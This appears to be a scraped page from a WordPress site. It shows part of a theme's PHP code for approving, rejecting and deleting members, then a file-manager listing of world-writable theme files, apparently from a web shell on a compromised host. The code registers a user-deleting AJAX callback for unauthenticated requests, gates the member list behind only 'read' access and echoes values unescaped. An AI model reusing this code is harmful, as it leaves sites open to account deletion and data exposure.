				'position' => $user->position ?? null,
				'flag_approve' => $user->flag_approve ?? null,
			);
		}
		
	    $this->set_pagination_args(array(
            'total_items' => $total_items,
            'total_pages' => $total_pages,
            'per_page'    => $per_page,
        ));
		$this->_column_headers = array($this->get_columns(), array(), array());
		$this->items = $data;
	}

    function display_rows() {
		$txtApprove = "Approve";
		$txtReject= "Reject";
		$txtNotApproved = "Not Approved";
		$dataDepartment = [
			"dx" => "DX Promotion Department",
			"corporateplanning" => "Corporate Planning Department",
			"marketing" => "Marketing Department",
			"it" => "Information Systems Department",
			"procurement" => "Procurement Department",
			"sales" => "Sales & HR Department",
			"hr" => "Human Resources Department",
			"account" => "Finance & Accounting Department",
			"rd" => "Research & Development Department",
			"design" => "Design & Development Department",
			"manufacturing" => "Manufacturing Department",
			"other" => "Other",
		];
		
		$dataIndustry = [
			"manufacturing" => "Manufacturing Industry",
			"it" => "Information & Communication Industry",
			"retail" => "Retail & Wholesale Industry",
			"logistics" => "Logistics Industry",
			"consulting" => "Consulting & Think Tank Industry",
			"ad" => "Newspaper, Publishing, Media & Advertising Industry",
			"finance" => "Finance Industry",
			"medical" => "Medical & Welfare Industry",
			"estate" => "Real Estate & Construction Industry",
			"energy" => "Electricity, Gas & Water Industry",
			"agri" => "Agriculture, Forestry & Fisheries Industry",
			"other" => "Other",
		];
		
		$dataDirector = [
			"board" => "Executives & Directors",
			"director" => "Department Managers",
			"manager" => "Section Managers",
			"chief" => "Section Chiefs",
			"memberその他" => "General Employees",
		];
		
		if ( get_locale() == 'ja') {
			$txtApprove = "承認する";
			$txtReject = "拒否する";
			$txtNotApproved = "未承認";
			$dataDepartment = [
				"dx" => "DX推進部門",
				"corporateplanning" => "経営企画部門",
				"marketing" => "マーケティング部門",
				"it" => "情報システム部門",
				"procurement" => "調達部門",
				"sales" => "総務・人事部門",
				"hr" => "営業・販売部門",
				"account" => "財務・経理部門",
				"rd" => "R&amp;D部門",
				"design" => "設計・開発部門",
				"manufacturing" => "製造部門",
				"other" => "その他"
			];
			$dataIndustry = [
				"manufacturing" => "製造業",
				"it" => "情報・通信業",
				"retail" => "小売・卸業",
				"logistics" => "物流",
				"consulting" => "コンサルティング・シンクタンク",
				"ad" => "新聞・出版・メディア・広告業",
				"finance" => "金融",
				"medical" => "医療・福祉",
				"estate" => "不動産・建設業",
				"energy" => "電気・ガス・水道業",
				"agri" => "農林水産業",
				"other" => "その他",
			];
			$dataDirector = [
				"board" => "経営者・役員",
				"director" => "部長クラス",
				"manager" => "課長クラス",
				"chief" => "係長クラス",
				"memberその他" => "一般社員",
			];
		}
		foreach ($this->items as $item) {
			echo '<tr>';
			foreach ($this->get_columns() as $column_name => $column_title) {
				echo '<td>';
	
				if ($column_name === 'department') {
					echo $dataDepartment[$item['department']];
				}
				if ($column_name === 'industry') {
					echo $dataIndustry[$item['industry']];
				}
				if ($column_name === 'position') {
					echo $dataDirector[$item['position']];
				}
				if ($column_name === 'actions') {
					if ($item['flag_approve'] == 0) {
						echo '<button class="button approve-button" style="margin-right:20px" data-user-id="' . $item['id'] . '">'. $txtApprove .'</button>';
						echo '<button class="button reject-button" data-user-id="' . $item['id'] . '">'. $txtReject .'</button>';	
					}
					if ($item['flag_approve'] == 1) {
						echo '<button class="button reject-button" data-user-id="' . $item['id'] . '">'. $txtReject .'</button>';
					}
					if ($item['flag_approve'] == 2) {
						echo '<button class="button approve-button" style="margin-right:20px" data-user-id="' . $item['id'] . '">'. $txtApprove .'</button>';
					}
				} elseif ($column_name === 'flag_approve') {
					if ($item['flag_approve'] == 0) echo $txtNotApproved;
					if ($item['flag_approve'] == 1) echo $txtApprove;
					if ($item['flag_approve'] == 2) echo $txtReject;
				} else {
					echo $item[$column_name];
				}
	
				echo '</td>';
			}
			echo '</tr>';
		}
	}
}
/**
 * Register a new page under "Users".
 */
function wpdocs_my_users_menu() {
	add_users_page(
		__( 'Users Membership', 'membership' ),
		__( 'Users Membership', 'membership' ),
		'read',
		'membership',
		'display_user_table'
	);
}
add_action('admin_menu', 'wpdocs_my_users_menu');

function display_user_table() {
	$user_list_table = new User_List_Table();
	$user_list_table->prepare_items();

	echo '<div class="wrap">';
	echo '<h1 class="wp-heading-inline">Danh sách người dùng</h1>';
	echo '<form method="get" action="">';
	$user_list_table->search_box('Tìm kiếm', 'search_user');
	echo '</form>';
	$user_list_table->display();
	echo '</div>';
}

function enqueue_approve_reject_scripts() {
    wp_enqueue_script('approve-reject-script', get_template_directory_uri() . '/js/approve-reject.js', array('jquery'), '1.0', true);
    wp_localize_script('approve-reject-script', 'approveRejectData', array(
        'ajaxurl' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('approve-reject-nonce')
    ));
}
add_action('admin_enqueue_scripts', 'enqueue_approve_reject_scripts');

/**
 * AJAX callback to update flag_approve
 */
function approve_reject_callback() {
    check_ajax_referer('approve-reject-nonce', 'security');
    $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0;
    $flag_approve = isset($_POST['flag_approve']) ? intval($_POST['flag_approve']) : 0;

    global $wpdb;
    $table_name = $wpdb->prefix . 'user_approve';
    $user_data = get_userdata($user_id);

    if ($flag_approve == 2) {
        $wpdb->delete($table_name, array('user_id' => $user_id));
        wp_delete_user($user_id);
        $message = "User has been rejected and deleted.";
		echo json_encode( array( 'approve'=>false, 'message'=> $message ));
    } else {
        $wpdb->update($table_name, array('flag_approve' => $flag_approve), array('user_id' => $user_id));
        if ($flag_approve == 1) {
            $message = "User has been approved.";
			echo json_encode( array( 'approve'=>true, 'message'=> $message ));
        }
    }

    $to = $user_data->user_email;
    $subject = 'Approval Status Updated';
    $message = '';

    if ($flag_approve === 1) {
        // If flag_approve is "Approve"
        $message = 'Your approval status has been updated to "Approve".';
    } elseif ($flag_approve === 2) {
        // If flag_approve is "Reject"
        $message = 'Your approval status has been updated to "Reject".';
    }

    wp_mail($to, $subject, $message);
	die();
}
add_action('wp_ajax_approve_reject_action', 'approve_reject_callback');
add_action('wp_ajax_nopriv_approve_reject_action', 'approve_reject_callback');

/**
 * Get truncated content based on locale
 * For Japanese locale: returns first 100 characters
 * For other locales: returns first 30 words
 * @param string $content Optional. The content to truncate. If not provided, uses get_the_content()
 * @return string Truncated content with ellipsis
 */
function seiko_get_truncated_content($content = '') {
    if (empty($content)) {
        $content = strip_tags(get_the_content());
    } else {
        $content = strip_tags($content);
    }
    return (get_locale() === 'ja')
        ? mb_substr($content, 0, 100, 'UTF-8') . '...'
        : wp_trim_words($content, 30, '...');
}

Filemanager

Name Type Size Permission Actions
assets Folder 0775
bbpress Folder 0775
css Folder 0775
fonts Folder 0775
functions Folder 0775
images Folder 0775
includes Folder 0775
js Folder 0775
languages Folder 0775
muffin-options Folder 0775
tribe-events Folder 0775
vc_templates Folder 0775
woocommerce Folder 0775
.SignUp.php.swp File 20 KB 0777
404.php File 128.13 KB 0777
SignIn.php File 5.9 KB 0777
SignUp.php File 21.46 KB 0775
bbpress.php File 598 B 0777
category-business.php File 6.41 KB 0775
category-chinh-tri.php File 6.41 KB 0775
category-customs.php File 6.41 KB 0775
category-green-growth.php File 6.41 KB 0775
category-headline-ja.php File 6.41 KB 0775
category-headline.php File 6.41 KB 0775
category-infographics.php File 6.41 KB 0775
category-kinh-te.php File 6.82 KB 0775
category-report.php File 6.82 KB 0775
category-tax-customs.php File 6.83 KB 0775
category-vietnam-investment-review.php File 6.84 KB 0775
changelog.html File 110.57 KB 0777
comments.php File 1.24 KB 0777
footer.php File 5.44 KB 0777
forgot-password.php File 1.73 KB 0775
functions.php File 40.53 KB 0775
header-shop.php File 4.78 KB 0777
header.php File 5.07 KB 0777
index.php File 8.11 KB 0777
login.php File 6.86 KB 0777
page.php File 2.33 KB 0775
readme.txt File 102 B 0777
register.php File 7.81 KB 0777
reset-password.php File 2.4 KB 0777
rtl.css File 33.09 KB 0777
screenshot.png File 179.96 KB 0777
search.php File 3.74 KB 0777
searchform.php File 831 B 0777
sidebar.php File 1.97 KB 0775
single-attachment.php File 706 B 0777
single-download.php File 4.15 KB 0777
single-portfolio.php File 2.21 KB 0777
single.php File 1.69 KB 0777
style-colors.php File 34.96 KB 0777
style-one.php File 22.26 KB 0777
style-responsive.php File 26.39 KB 0777
style.css File 361 B 0777
style.php File 51.65 KB 0775
taxonomy-portfolio-types.php File 5.34 KB 0777
template-archives.php File 1.89 KB 0777
template-blank.php File 971 B 0777
template-portfolio.php File 6.12 KB 0777
template-sitemap.php File 597 B 0777
text.php File 69 B 0777
under-construction.php File 5.37 KB 0777
wpml-config.xml File 12.23 KB 0777
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml